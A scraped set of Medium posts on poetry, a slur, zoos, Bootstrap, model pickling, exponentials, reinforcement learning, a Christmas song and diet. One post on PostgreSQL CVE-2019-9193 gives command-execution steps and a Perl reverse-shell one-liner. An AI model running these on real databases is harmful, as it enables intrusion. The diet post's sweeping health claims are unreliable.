Gill’s rendering of the spawning of newly-independent youth was, before the pandemic, something more than wistful and nostalgic. Mid-pandemic, it reads like something that happened so long ago it doesn’t seem real, though you know it is … Like when kids in 1950s movies go barreling down unlit back roads in cars with no seatbelts.
It was always important for Gill to chronicle the carvings in trees, the rubbing of balloons in hair, the online and outside hijinks, the “chaos” of “humanity’s bright future.” It was always important, but now it is more important.
“Perhaps we’ve forgotten that the body, yes the body, finds a desolate kind of beauty once exposed.” –Gill
In this quietly audacious collection, Gill exposes the body: what it contains and confines, as well as how it becomes a vehicle for connection and movement. I often dismiss the body as an inconveniently delicate necessity of life. However, reading these poems at a time when masks cover faces and people must keep their bodies far apart for safety, I see that the body — “yes, the body” — matters terribly, in its breaking and in its spawning, when it’s well and when it’s waiting. This collection chronicles the last moments before the body became what it will be in the unimaginable future. | https://medium.com/anomalyblog/yes-the-body-a-quarantined-review-of-spawn-cb1293e37bd0 | ['Stacy Pratt'] | 2020-08-18 17:56:41.706000+00:00 | ['Review', 'Poetry', 'Books', 'Indigenous', 'Literature'] |
Faggot Offends Me! | Faggot Offends Me!
My partner’s grandmother said she didnt like me because I wasn’t masculine, that because I didnt have a big truck and didn’t meet the stereotype of a manly man that I was a “Faggot.” Perhaps it was just hearing it from someone who was in my inner circle, or perhaps there is more to it but hearing it on this day I couldnt help but feel the personal pain of what my father must have felt.
The word “Faggot” we presume is only stated when one is flamboyantly gay but it’s not. The word faggot is part of the American way whenever someone deviates from the “normal stereotype.” On at least two occasions over the last week, the word has been thrown my way one when I was getting Pizza and a woman was mad because I didnt hold the door open for her, the other when someone was stuck on my side when I was at the drive-thru. In both cases, the people waited to say the word as they were driving away and could not be confronted, my partner’s grandmother was much the same; she would never say the word to my face but would behind my back. Despite, being called a faggot I dont view it as a negative but rather a reminder of how lucky I am that I just have the homophobic slur thrown my way were in my father’s day he would be killed for even the assumption that he was gay. I won't speculate on this but rather know this to be fact as the love of his life was killed for being gay, pushed over a bridge, and drowned.
But I wasn’t there, I didnt know my dad then, he didnt adopt me until I was 20 so why does it impact me so much? After all, I am a straight, middle-class white educated male the word should have no impact on me, and yet every time I hear it there is always an impact.
Now I could tell you what everyone tells’s you and what the social justice focus part of me wants to say that the word has impacts beyond my understanding, that it is a start of violence and that every time it is uttered it perpetuates a belief that loving the one you love is somehow wrong. All of these things are true but there is more of it to me.
I am aware of how much my father changed my views, how him being a gay hippie from Baltimore who walked the streets with Martin Luther King changed what was then a Conservative Christian and made me a socially justice-focused human. How do you repay this? How do you repay someone who as a Foster Kid gave you permanency? How do you forgive someone who loves you, hears you, takes you in as your own, and guides you when they didnt need to? The short answer is I may never get to repay him for any of these things.
But I will try! The word faggot in a lot of ways is my activation word because it makes me want to advocate, to stand up, to confront any person who uses it, it makes me want to keep getting better as a therapist so I can keep finding ways to communicate with people across the aisle.
I may never change anyone’s mind, I dont need to I dont think that I can change their mind but rather only make them think. Each time I hear someone say something homophobic I view it as a chance to do what my father was never able to do and advocate. I recognize that my father didnt speak not by choice but rather because it may cost him his life.
Being a white educated male allows me to always say something, it allows me to allow me to be me. Who am I? A therapist who seeks to support those I work with to be who they are regardless of any social manipulation.
Whether you want to be as outspoken about your life and sexuality as Robert Mapplethorpe or as introverted as James Spader it’s more about creating a world where being you doesn’t end in being judged to the point of depression, death, homophobic slurs. My goal as a therapist is to seek to support people think, create, and invent themselves and their life with their voice and understand who and what supports and prevents them from being their true self, and place blame in the right place.
I close this though by calling on any person who is reading this to confront your bias, note the impacts of your words, and more so talk to those you disagree with based on the merits of the conversation not based on the feelings. | https://medium.com/@CaseyMSmith2012/faggot-offends-me-3a5dc032aef4 | ['Casey Smith'] | 2020-12-20 23:26:25.742000+00:00 | ['LGBTQ', 'Gay', 'Mental Health', 'Therapy', 'Justice'] |
Do you think it is time to shut down zoos? | Today, we can watch many animal documentaries online. Despite that, do you think we still need zoos for our sole purpose of entertainment?
Image by Unsplash
Many zoo defenders justify their existence as Education and Conservation. When we talk about education, I ask oneself what is the exact education we are getting from these poor and miserable animals behind cages?
Let’s dive into education and conservation one by one. And see how much these arguments support for wildlife to live behind bars!
Education
It is true that Zoo educates children about the wonders of our planet wildlife. They let the young minds learn about so many wonderful creatures in one space. As people are curious to know what animals look like, smell like or how it feels like to touch their skin.
Image by Unsplash
But you know that animals in zoo are living in an artificial environment. As they are pluck out from their natural habitat and thrown behind bars. Ignoring the fact that we gain little understanding of what the animals are like.
Because, they won’t act in natural state as they should be. Animals that are kept in captivity exhibit certain behavior pattern that are the serious signs of mental distress.
So what’s the use of such education? Because you are observing an animal in an unnatural habitat and insufficient environment.
Likewise, where we have an opportunity to see a vast number of wildlife in one space. Yet, it might be fun for us to see so many different species together but it isn’t for them.
As in these theme parks where animals are confined in a limited space, they are deprived of with their basic activities like; hunting, grazing, flying, walking, roaming and developing important social structure.
As they are robbed of their basic needs, the diseases and mental complications arise which have deadly consequence in form of early deaths.
Meanwhile, I agree that interaction with animals educate our kids the care, love and affection to have for these animals. The curiosity that leads us to see them from close-up gives us excitement and true understanding of their nature as we develop close bond with them. That even justify the well-structured zoos to be have.
Though, I believe that not all animals are suitable to keep in zoos. For example, if we talk about hunting mammals such as lions, tigers, cheetahs or like big raptors, polar bears — has no point to be in cages. As you are not allowed to touch them or be close to them even in Zoos. So, whats the point of keeping these wild animals behind the bars unless they are consider “endangered”.
Image by Unsplash
Conservation
Indeed, there is no denying that number of species are increasingly threatened and risk extinction across the world. So, the existence of rehabilitation center strongly supports “breeding programme” of those species that are on the verge of extinction. Those protected in captivity provide foundation population. Very, well.
However, rehabilitation centers and animals sanctuaries never breed animals for display. The true rehabilitation centers and sanctuaries treat hurt animals and release them back in their natural wildlife environment. Moreover, not all species in zoo are endangered, many of them are put there only for entertainment.
Think about it, animals kept in captivity and birthing further in captivity isn’t like a life sentence?
So, what’s the alternative? That’s what needs to be brought on the table for discussion.
Alternatives
There are many options for us, like we can also go out and see animals around us; through hiking, exploring rivers, tide-pool, beaches, forest or farm trips and nearby bird watching. They are all around us — on sea, land and in the sky.
It’s in your hands to choose a way to get close up to animals and nature. By keeping in mind, yourself in their place. Just imagine — you in cage, for others entertainment. Would you like that? | https://medium.com/@sabslounge/does-existence-of-zoos-should-be-consider-still-2d9918401f90 | ['Sab S Lounge'] | 2020-12-05 18:29:27.459000+00:00 | ['Animal Sanctuary', 'Animal Conservation', 'Wildlife', 'Zoo', 'David Attenborough'] |
Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest | PostgreSQL, commonly known as Postgres is one of the largest and most popular database systems in the world. It is the primary database of Mac OSX but also has Linux and Windows versions available.
Today I’m going to go over a less well known ‘feature’ (CVE-2019–9193) which allows certain database users to gain arbitrary code execution in the context of the user running the Postgres instance. This is something which is enabled by default on all versions of PostgreSQL from 9.3 through to the latest of 11.2. This affects all operating systems, Windows, Linux and Mac.
Since version 9.3, new functionality for ‘COPY TO/FROM PROGRAM’ was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands. This effectively means there is no separation of privilege between a database superuser user and the user running the database on the operating system.
This is a lack of defense in depth which we used to see in Microsoft SQL Server back in the early 2000s, when the xp_cmdshell function was enabled by default. This was patched and disabled by default in Microsoft SQL Server 2005, but it is interesting how the same bugs repeat, seemingly in cycles.
As this bug/flaw/functionality/exploit is somewhere between a privilege escalation and an arbitrary code execution, it needs some kind of prior authentication. This is achieved either through access to the database with credentials, or via exploiting an SQL injection in an application which has PostgreSQL on the backend. Again, in both of these instances either the superuser or a user with ‘pg_execute_server_program’ permissions needs to be in use.
To perform the attack, you simply follow these steps:
1) [Optional] Drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;
2) Create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);
3) Run the system command via the COPY FROM PROGRAM function
COPY cmd_exec FROM PROGRAM ‘id’;
4) [Optional] View the results
SELECT * FROM cmd_exec;
5) [Optional] Clean up after yourself
DROP TABLE IF EXISTS cmd_exec;
Note that any single quotes inside your command must be double single quotes to escape them, so for example if you wanted to run:
echo ‘hello’;
You would need to put it inside single quotes, and then replace all single quotes inside with double single quotes:
‘echo ‘’hello’’;’
I have tested this on all major operating systems, and if a reverse shell is triggered you end up with the following privileges:
Windows - NT AUTHORITY/NETWORK SERVICE (low priv)
Linux - postgres (low priv)
Mac - user that installed postgres (usually an admin)
Linux and Mac OSX can usually be exploited with a perl one liner, with a command such as this:
COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;
I have simplified the exploitation processes by releasing a new Metasploit module (which should be merged into the main framework soon), as the old postgres_payload modules only work up to around version 8. postgres_copy_from_program_cmd_exec.rb performs all of the above automatically, if you provide it with valid database credentials which have the correct permissions. For SQL Injections you will have to take the manual route. Here it’s exploiting PostgreSQL 11.2 on Linux Ubuntu 18.04:
For Windows however, the NETWORK SERVICE user appears not the have any write privileges, but it was still possible to trigger a reverse shell by using a PowerShell download cradle. This can be provided by settings the COMMAND variable to the PowerShell cradle command, take note to escape single quotes with a backslash \. Here it’s exploiting PostgreSQL 10.7 on Windows 10.
I hope you find this new technique useful.
Update: This blogpost previously contained a mistake in that it is in fact users in ‘pg_execute_server_program’ group which can perform this attack, not users in the ‘pg_read_server_files’ group. | https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 | [] | 2019-04-04 20:18:04.906000+00:00 | ['Postgres', 'Hacking', 'Zero Day', 'Exploit', 'Database'] |
Bootstrap 4 จะออกแล้ว ! | SiamHTML
The collection of articles for front-end developers | https://medium.com/siamhtml/bootstrap-4-%E0%B8%88%E0%B8%B0%E0%B8%AD%E0%B8%AD%E0%B8%81%E0%B9%81%E0%B8%A5%E0%B9%89%E0%B8%A7-3039915252ab | ['Suranart Niamcome'] | 2017-10-24 05:22:33.810000+00:00 | ['Bootstrap', 'Highlight', 'News'] |
Tired of making SK-Learn models on Kaggle? Models to Beautiful Web Apps in few minutes for FREE! | Exporting the Model
There are many libraries/approaches that can help us in this
Pickle Approach Joblib Approach Manual Save and Restore to JSON approach
Each of the Approach has few advantages and few disadvantages. This tutorial will be showing the usage of Pickleshare. Pickleshare is the most commonly used libraries and works well most of the time. More details about each approach can be accessed using the link in the references section.
First of all, we need to train the model then test the model and calculate the metrics.
If satisfied with the results, Proceed!
Then, import pickleshare library and dump the model
Dumping the model
In kaggle, the output file is available to download in the output tab, simply right-click and download or after committing, scroll down to the bottom and download.
Downloading after Committing
This .pkl file contains our trained model that we will use in our web application.
PS: The data set is not needed anymore. | https://medium.com/@aakashg1999/tired-of-making-sk-learn-models-on-kaggle-models-to-beautiful-web-apps-in-few-hours-for-free-ae8c2f96fed | ['Aakash Gupta'] | 2020-10-22 06:47:21.714000+00:00 | ['Heroku', 'Streamlit', 'Web', 'Scikit Learn', 'Web Applications'] |
How (or Ways) to Show Gratitude All Year Round | How (or Ways) to Show Gratitude All Year Round
Most people think that showing gratitude is reserved for Thanksgiving day, but that simply isn’t the case. There is something to be thankful for at all times, regardless of your circumstances. Here are some great ways to show gratitude all year round.
A Simple Prayer, Gratitude Journal Entry, or Meditation
Showing gratitude doesn’t have to be anything extravagant. The simplest gestures can be used to show appreciation. If you’re a religious individual, say a quick prayer. If you’re looking for a creative yet easy way to show gratitude, consider a journal entry or meditate.
Donate to Your Favorite Charity
One way that plenty of people show gratitude is by donating to their favorite charity. Choose a charity that means something to you or warms your heart in a unique way. It doesn’t matter if you’re donating $5 or $500. The point is to show gratitude by helping out an important cause.
Volunteering
Don’t have any money to donate to a charity? Don’t worry. There are still plenty of ways to show gratitude, and you shouldn’t have to feel any lesser about it. Consider volunteering. Again, try and choose something close to your heart for one reason or another. Some great ideas include a soup kitchen or Big Brother/Big Sister. Remember — the greatest gift of all is time and attention, so volunteering is a top-notch tip.
Being More Active in Social Causes
Being a voice for a social cause you believe in is an excellent option for showing gratitude. As a bonus, you may be able to make a change in your community or worldwide. Be more active in social causes, and you will be glad you did.
Saying a Simple “I Appreciate You and Your Time” to People Who Work With You
There is nothing quite like hearing that you are appreciated, especially in the workplace. So why not make the simplest gesture of all and simply tell your co-workers that you appreciate them? This will make them and their efforts feel valued, and you can feel confident that you have shown gratitude.
Don’t Forget the Family. Saying “Thanks for Being Supportive/Being There” to Parents, Siblings, Etc.
Don’t forget your family! When it comes to showing gratitude to your family members, you can be a bit more personal. A thank you for being supportive during a specific part of life or simply being there is a great way to start. You can show all kinds of gratitude by talking to your loved ones and letting them know why you appreciate them.
Do a Giveaway for Your Online Community From Time to Time
If you own your own business, then this will be a cinch. Give back to your community with a giveaway featuring one of your products or services.
But don’t think you have to own a business to do a giveaway. You can give away your time to help someone pulling weeds. You can give away your kids’ old clothes and toys. Do whatever you can to help out your community to show gratitude.
Being thankful shouldn’t fall on one day of the year. Instead, find some simple ways to show gratitude throughout the year. Whether you’re volunteering, donating, or merely telling co-workers and loved ones you appreciate them, you can feel confident that you’re showing gratitude in your day-to-day life.
Wishing you an amazing week and continued positivity as we navigate the last few weeks of this year!
All the best,
Olivia & Kaid, the OK in @okworldtravel | https://medium.com/@okworldtravel/how-or-ways-to-show-gratitude-all-year-round-f66610dfe36c | [] | 2020-12-14 02:42:13.522000+00:00 | ['Gratitude', 'Self Improvement', 'Thanksgiving', 'Positivity', 'Personal Development'] |
Why Nick Cave is wrong about Fairytale of New York. | If we switch the F-Word for the N-word, would we still be having the same discussion?
Photo by Zeeshaan Shabbir from Pexels
It’s not Christmas for me until I hear the opening lines of Fairytale of New York.
I can’t remember the first time I heard the song, but its jarring and desolate story has become synonymous with December in my mind. I’ve sung my sober and drunken heart out to this cheerless festive tune, year after year. Which means I’ve also sung the word.
The F-word.
Even as I belted the lyrics out without thought or care, I knew that taboo always lurked within the lines:
You scumbag, you maggot You cheap lousy faggot Happy Christmas your arse I pray God it’s our last
Culture is not stagnant. It evolves. And so it does not upset me that the BBC has recently decided to play a censored version of Fairytale on some of its stations. Somebody that it does seem to have upset is Nick Cave, who’s railed against the decision on his website:
The changing of the word ‘faggot’ for the nonsense word ‘haggard’ destroys the song by deflating it right at its essential and most reckless moment, stripping it of its value. It becomes a song that has been tampered with, compromised, tamed, and neutered and can no longer be called a great song. It is a song that has lost its truth, its honour and integrity — a song that has knelt down and allowed the BBC to do its grim and sticky business.
I’m sorry but Cave is simply wrong. If Fairytale is a great song then it can survive the replacement of a single word.
Shane McGowan has previously justified his use of the F-word in his song. It’s spoken from the mouth of a character, he explains, and ‘not all characters in songs and stories are angels’. As a writer, I agree. If we only ever wrote from our own perspective, the literary world would be dull and one-dimensional.
But are the nuances of character and authorial intent clear in the heat of the moment? Is that clarity carried through when the listener is buoyed along by the exuberance of the song? How can the listener fail to be influenced by the position the word occupies within the lyrics, bookended as it is between a series of slurs?
Even if the listener understands that the F-word is being used to denote a specific time and place, the word itself is always dragged into the present. It’s dragged into us.
‘Words are things’, as Maya Angelou said.
As a gay woman, the F-word is not mine to reclaim. But neither is it Nick Cave’s. As a heterosexual man, he approaches the use of the word from a position of relative privilege. He admits:
I am in no position to comment on how offensive the word ‘faggot’ is to some people, particularly to the young — it may be deeply offensive, I don’t know’.
He doesn’t know. But as an artist, he should recognise the danger in the repeated positioning of the word as a slur.
I love Fairytale. It’s Christmas to me. When I hear Kirsty McColl use the word ‘haggard’ as a substitute, I don’t find that the song is lessened. I recognise that the song is alive and sensitive to the fluctuations of culture. I find it to have progressed.
The furore over insisting the F-Word remains says more about the people that want it to stay in than the people that want it out.
There’s a simple test to gauge how we should treat this. If we switch the F-Word for the N-word, would we still be having the same discussion? How would we describe those that fought for its inclusion in the song? How would we consider their demand to sing it and have it sung?
As writers, we’re trapped within the prism of our current perspective and place in unfolding history. But that doesn’t mean that we can’t look back on our stories with hindsight, humility, and respect for others. This should be especially true for the stories that we revere the most.
Just switch out the damn word. A Fairytale of New York will survive without it. | https://medium.com/illumination/nick-cave-is-wrong-about-fairytale-of-new-york-b50646a4becd | ['Vee Uye'] | 2020-12-03 13:39:21.614000+00:00 | ['Songs', 'Writing', 'Christmas', 'Culture', 'LGBTQ'] |
Powers and the exponential function | Powers and the exponential function
This is the third article of the series. We will introduce exponentials and logarithms with other bases from what we have learned so far. Readers should be familiar with the natural logarithm and exponential functions, they were introduced in the previous articles.
Before introducing exponentials and logarithms with other bases, let’s complement some of our previous results to make them more powerful.
Consider a power function f: (0,+∞) → ℝ f(x) = x^a, where a ∈ ℝ. Until now, we assume (implicitly) that we know the derivative of this function when a is a rational number, which could be easily proved by the definition of differentiation. In fact, we have to use the following result to prove the property 5 of the ln function.
Since we already know the meaning of the power for all real exponent, it is time to generalise the above result. Remember f(x) = x^a = exp(aln(x)), by chain rule, we get
We are happy to see the rule for a power’s derivative still holds even if the exponent of the power is irrational. Besides, the proof also shows that as for the rational case, if a is irrational, we still have x^(a - 1) = x^a/x for any positive x.
The following two results generalize the fifth properties of ln and exp functions, their proofs are exactly the same as before, except that we need the above derivative result to handle irrational r.
As ln is called the natural logarithm function, the exp function we studied in the previous article is often referred as the natural exponential function. Exponential functions with other bases are defined based on it:
Notice that an exponential function with base b is different from a power function with exponent b. A power function has its independent variable x at its base while an exponential function has its independent variable x at its exponent. In addition, we eliminate 1 in the definition for nothing special but the fact that 1 to the power of anything still equals 1, which gives a boring function. 1^x = exp(xln(1)) = exp(0) = 1.
According to our definition, b^x = exp(xln(b)) = exp(t), which could be regarded as a stretch or compression of exp function. As we noted previously , exp is a bijective function, then so is b^x, which guarantees that we could define its inverse function.
We have drawn the graphs of several exponential and logarithm functions with different bases in Figure 1.
Figure 01. Exponential and logarithm funtions with different bases
Based on the above definition, the inverse function of e^x is the logarithm function of base e. But we also know e^x = exp(x) for any real x, and the inverse of exp is ln, so ln is the logarithm function of base e by definition. Many results could be further deduced for exponential and logarithm functions, you might have learned most of them in high school, and we won’t dive into them further to prevent us from unnecessary digression. The only result we will introduce about them is the following change of bases property.
By now, we have introduced many definitions, the most important ones of which is summarized in Figure 2. We started from the definition of ln function using fundamental theorem of calculus, and exp is defined to be the inverse of ln. exp is then used to define powers of any real exponents. Finally, the inverse of exponential functions of general bases are defined to be logarithm functions of general bases.
Figure 02. Logic of key definitions
The definitions we have learned are quite useful. For example, let’s consider a famous limit result.
The base of the power approaches to 1 as x approaches to +∞, it is trying to “drag” the value of the power to 1. While the exponent of the power approaches to +∞ as x approaches to +∞, and it is trying to “drag” the value of the power to infinity. What will be the combined result of these two forces? With the help of our definition and L’Hôpital’s rule, the result turns out to be e!
Until now we have mostly finished what we want to say about logarithm functions. We will focus more on the exponential function in the future. In the next article, our main task is to study the Taylor series of exp function, which could help us to prove e is irrational and find an approximation of it with any precision! | https://medium.com/@adam-bi-321/powers-and-the-exponential-function-8b5416b1420e | ['Adam Bi'] | 2020-12-21 21:49:23.299000+00:00 | ['Calculus', 'Power', 'Mathematics', 'Exponential Function', 'Logarithm'] |
Reinforcement Learning and Asynchronous Actor-Critic Agent (A3C) Algorithm, Explained | While supervised and unsupervised machine learning is a much more widespread practice among enterprises today, reinforcement learning (RL), as a goal-oriented ML technique, finds its application in mundane real-world activities. Gameplay, robotics, dialogue systems, autonomous vehicles, personalization, industrial automation, predictive maintenance, and medicine are among RL’s target areas. In this blog post, we provide a concrete explanation of RL, its applications, and Asynchronous Actor-Critic Agent (A3C), one of the state-of-the-art algorithms developed by Google’s DeepMind.
Key Terms and Concepts
Reinforcement learning refers to the type of machine learning technique enabling an agent to learn to interact with an environment (area outside the agent’s borders) by trial and error using reward (feedback from its actions and experiences).
The agent is a learning controller taking actions in the environment and receives feedback in the form of reward.
The environment, space where the agent gets everything needed from a given state. The environment can be static or dynamic, and its changes can be stochastic and deterministic correspondingly. It is usually formulated as Markov decision process (MDP), a mathematical framework for decision-making development.
The agent seeks ways to maximize the reward via interacting with the environment instead of analyzing the data provided.
However, real-world situations often do not convey information to commit a decision (some context is left behind the currently observed scene). Hence, the Partially Observable Markov Decision Processes (POMDPs) framework comes on the scene. In POMDP the agent needs to take into an account probability distribution over states. In cases where it’s impossible to know that distribution, RL researchers use a sequence of multiple observations and actions to represent a current state (i.e., a stack of image frames from a game) to better understand a situation. It makes it possible to use RL methods as if we are dealing with MDP.
The reward is a scalar value that agents receive from the environment, and it depends on the environment’s current state (St), the action the agent has performed grounding on the current state (At), and the following state of the environment (St+1):
Policy (π) stands for an agent’s strategy of behavior at a given time. It is a mapping from the state to the actions to be taken to reach the next state. Speaking formally, it is a probability distribution over actions in a given state, meaning the likelihood of every action in a particular state.
In short, policy holds an answer to the “How to act?” question for an agent.
State-value function and action-value function are the ways to assess the policy, as RL aims to learn the best policy.
The value function V holds an answer to the question “How good the current state is?”, namely an expected return starting from the state (S) and following policy (π).
Sebastian Dittert defines the action-value of a state as “the expected return if the agent chooses action A according to a policy π.”
Correspondingly, it is the answer to “How good current action is?”
Thus, the goal of an agent is to find the policy (π) maximizing the expected return (E[R]). Through the multiple iterations, the agent’s strategy becomes more successful.
One of the most crucial trade-offs for RL is balancing between exploration and exploitation. In short, exploration in RL aims at collecting experience from new, previously unseen regions. It potentially holds cons like a risk, nothing new to learn, and no guarantee to get any useful further information.
On the contrary, exploitation updates model parameters according to gathered experience. In its turn, it does not provide any new data and could not be efficient in case of scarce rewards. An ideal approach is making an agent explore the environment until being able to commit an optimal decision. | https://medium.com/sciforce/reinforcement-learning-and-asynchronous-actor-critic-agent-a3c-algorithm-explained-f0f3146a14ab | [] | 2021-03-25 09:16:53.713000+00:00 | ['Artificial Intelligence', 'Reinforcement Learning', 'Supervised Learning', 'Machine Learning', 'Unsupervised Learning'] |
Always Dreaming | Everywhere is chaos and bad news,
disturbed peace warps my worldview.
This seems like one of those times when I’ll trip and fall right into you.
Always dreaming as I gleam the stars appearing in your eyes,
I’m chasing some kind of utopia with each eastern sunrise.
Find me south of any border —
drunk on tequila as the sky dusks the day out of sight,
heart pounding as it pours into your palms and tears sting in my eyes.
Marley said ‘no woman, no cry.’
It’s all in vain
— but we still get so high.
Don’t look down —
just pretend we’re aeroplanes flying across midnight skies.
Always dreaming.
Don’t wake me up tonight. | https://medium.com/a-cornered-gurl/always-dreaming-123d5c616f22 | ['D Abboh'] | 2020-11-16 11:02:11.255000+00:00 | ['Hope', 'Dreams', 'Life', 'A Cornered Gurl', 'Poetry'] |
Available now! Microsoft Teams Meetings Live Reactions | If you have enabled your Public Preview, then these are the following steps:
Step 1: Open your Teams desktop app → Select your display picture → Check for updates.
Important notes: 1. If you have restarted your computer, you will need to re-enable the Public Preview mode on the Teams desktop app. 2. Live reaction is only available to the meeting organizer and (probably internal) participants who have enabled the Public Preview mode. 3. Live reaction may not be available if you have an external meeting with another organization. 4. Live reaction may not available on Teams web app.
Step 2: Once updated, it will prompt you to restart your Teams, right-click the Teams icon on your taskbar (bottom right, next to your clock) → Quit → (Find and) Click your Microsoft Teams to restart.
Important note: Your Microsoft Teams may experience high performance usage if your device has low memory (RAM), causing your laptop to lag or hang. If this happens, you will need to read this: 9 Easy Fix-Hacks to Teams High Performance Usage
Step 3: Create a Teams meeting → Invite your participants → Join meeting.
Step 4: Ta-dah! Now you have live reactions!
Step 5: If you use the (other than Raise hand ✋)reactions, you will notice it appearing here, in a one-to-one call.
Otherwise, you may be able to view it like this: | https://medium.com/mbrayz365/available-now-microsoft-teams-meeting-live-reactions-ddf83ea080e0 | ['Pei Yi', 'Py'] | 2020-12-11 04:43:59.119000+00:00 | ['Microsoft Teams', 'Microsoft 365', 'Microsoft', 'How To', 'Meetings'] |
A Flaw in Matt Dillahunty’s Atheism | Dillahunty’s Case Against Christian Apologetics
You can find Dillahunty’s go-to argument in this online debate. (Jump to his opening statement at the 16:00 minute mark.) The question that’s usually at issue for him, since he often debates Evangelical preachers and amateur Christian apologists, is whether Christianity is rational or indeed whether this religion makes for the most rational worldview.
Again, this is because Dillahunty’s opponents are often fundamentalists or conservative Evangelicals, meaning their interpretations of the Bible are literalistic and they believe theirs is the only legitimate form of spirituality. More importantly, some centuries ago, science reset the standards of intellectual authority, so these ambitious Evangelicals need to present their religious beliefs as being at least as meritorious as a scientific theory or as a philosophical argument.
Thus, Dillahunty typically disposes of this Christian impudence by saying that for Christianity to be rational, the Christian would have to produce an argument that points to strong evidence in support of the core Christian propositions. Alas, there’s no such evidence.
For example, as Dillahunty says in that debate, the appeal to anything in the Bible is an appeal to “propaganda from anonymous, altered, ancient accounts.” This means biblical claims are less reliable even than eyewitness testimony, and that testimony is problematic in trials in which lawyers routinely impeach a witness’s credibility.
A claim based on hearsay or on anonymous copies of copies adds another level of dubiousness. Then comes the ancientness of the biblical claims, which is problematic because ancient writers were less scrupulous than modern academics and intellectuals about reporting what we would call the cold, hard facts. Finally, the New Testament authors weren’t even trying to be historians, since they were religious partisans writing propaganda for their cause.
So rather than being strong evidence for Christianity, an appeal to what Jesus supposedly said or did, according to the gospels, provides especially weak evidence at best. Thus, the Christian creed isn’t rational, and Christians should retreat to the freedom to worship in the privacy of their homes to which they’re entitled in the modern age, thanks to the largesse of secular liberalism.
I added that last part about liberalism, but you get the gist. Dillahunty simply challenges the Christian to present strong evidence for the truth of her religious beliefs. That must be evidence not just that there’s a gap in our scientific knowledge or even that there must be some necessary being or eternal source of nature, but specifically strong evidence that points to the existence of the Christian’s deity or that shows Christianity is the best or the only viable religion.
Dillahunty proceeds to shoot to pieces the lame “proofs” and fallacious arguments the average Evangelical Christian has on offer. Dillahunty points out that far from having strong evidence, Christians have an absent God — and that’s so even in the Christian tradition, since Christian theism posits Creation as being separate from God. God is allegedly immanent in the universe he created, but he also transcends it. That’s why Jesus supposedly had to arrive on Earth, to bridge the divide between God and the part of his handiwork that he favours.
So Christians ought to concede they have to grasp at straws or have access, at best, to equivocal or to weak evidence, to arbitrary interpretations, specious reasoning, and indeed to acts of faith. Those theists who are brazen and underhanded enough to disguise their religion as a rational representation of the world, on par with science or philosophy, deserve to be exposed by the likes of Dillahunty as impertinent or confused.
(Note that perhaps the strongest or at least the most relevant Christian answers to Dillahunty’s criticism that have been given would be something like William Lane Craig’s evidentiary arguments, such as his empty tomb argument for Jesus’s resurrection, which I refute at length elsewhere.) | https://theapeiron.co.uk/a-flaw-in-matt-dillahuntys-atheism-6cc56d4e0ca0 | ['Benjamin Cain'] | 2021-01-11 12:10:58.902000+00:00 | ['Christianity', 'Religion', 'Atheism', 'God', 'Philosophy'] |
Once upon a Casa: Part 3 | Circa late-June 2020, during Phase 2 of the reopening, we made our way to Casa Clementi to view a 5-room HDB resale flat that was listed for sale.
As we walked through the estate, we generally liked the design, greenery and landscaping but felt that the estate maintenance and up keeping were not quite up to par for a young HDB estate that was only seven years old.
The shortlisted unit faces an opposite block within the same development and has a partially “unblocked” view. This view is not “guaranteed” as the HDB flats nearby are fairly old and might face redevelopment since they are sitting on a prime plot of land.
The unit itself did not have a lot of built-in carpentry which was good news for potential buyers but felt rather run down. The Wife’s biggest struggle was with the living room. Technically, a study room can be carved out but the resulting space in the living room will be significantly diminished.
The Wife and I compared notes discreetly and agreed that although the floor area is 1270 sq ft, it did not feel like a 5–room flat. “I cannot see where the extra space is,” The Wife told me, comparing it to our current place.
The asking price was in excess of S$950K, pegging it at the highest range of past transaction prices for 5–room flats in Casa Clementi.
We thanked the flat owner for letting us visit the unit. After that, we spoke briefly with his property agent and found out that there wasn’t much room for negotiation.
“Please let us think about it. We are considering resale flats in other locations as well. If we decide that we want to buy this unit, we will get back to you,” I lied without batting an eyelid.
There was no way we were ever buying the unit, I thought to myself. | https://medium.com/@themoneypit/once-upon-a-casa-part-3-b639f00d433e | ['Money Pit Digger'] | 2020-12-15 11:23:52.455000+00:00 | ['House Hunting', 'Property Search', 'Singapore'] |
What is a healthy diet? | What is a healthy diet? It’s not about counting calories, measuring portions, or cutting carbs. You won’t really find a healthy diet on the lite menu at your favorite restaurant and you certainly won’t find it at the local fast-food joint. A healthy diet is all about what you eat rather than how much you eat.
If you think the latest fad diet is your panacea to health, you are in for a big surprise. Losing weight, staying healthy, and getting back into shape after many years of diet neglect is not about fads or eating in some radical new way for six to twelve weeks and then going back to the way you used to eat.
The best thing you can do to keep yourself healthy is to eat a healthy diet…all the time, not just when you want to lose weight. Eating healthy is a long-term lifestyle choice, something you need to do for your entire lifetime.
But what is a healthy diet? Is it what we have been lead to believe — milk for strong bones and teeth, protein in the form of lean beef or chicken, and maybe a “healthy” microwave dinner if we are “on the go.” Unfortunately, this diet is what is identified as the Standard American Diet or the SAD.
And what’s so wrong with the SAD?
Well, has it made us healthier people? Are we better off as a nation because of it?
With all of the health studies, advanced health care, the war on cancer dating back to the ’70s, and the most advanced technology available on the planet we have to ask ourselves why do we still need to spend $1.3 trillion a year on health care in the United States. Why aren’t we getting any healthier?
Other pertinent questions about your health beg for answers such as, why after more than 30 years since the “War On Cancer” was declared, do we still have an increased cancer rate. Yes, we have many more people surviving cancer but the rate at which people are getting cancer is increasing. We have come a long way in taking care of sick people, but we haven’t made any progress as a nation in preventing those people from getting sick.
Why do more than 15 million people in the United States have diabetes? Why do we still have more heart problems today than we did 30 years ago? Why is more than 50% of our population on some kind of prescription drug?
We spend more per person on medical care than any other nation in the world. Why is this happening in a country that seems to be able to solve nearly any technological problem? Why can’t we solve our medical problems? How would life be different for us if we were to be a nation of healthy individuals?
The secret to a healthy diet and healthy life is living food — fresh vegetables, fruit, juices, and green leafy salads. The answer to a healthier you is summed up in three words, breakfast, lunch, and dinner.
Living a healthy life and having a healthy family is all about eating a healthy diet find Article, every day of our lives!
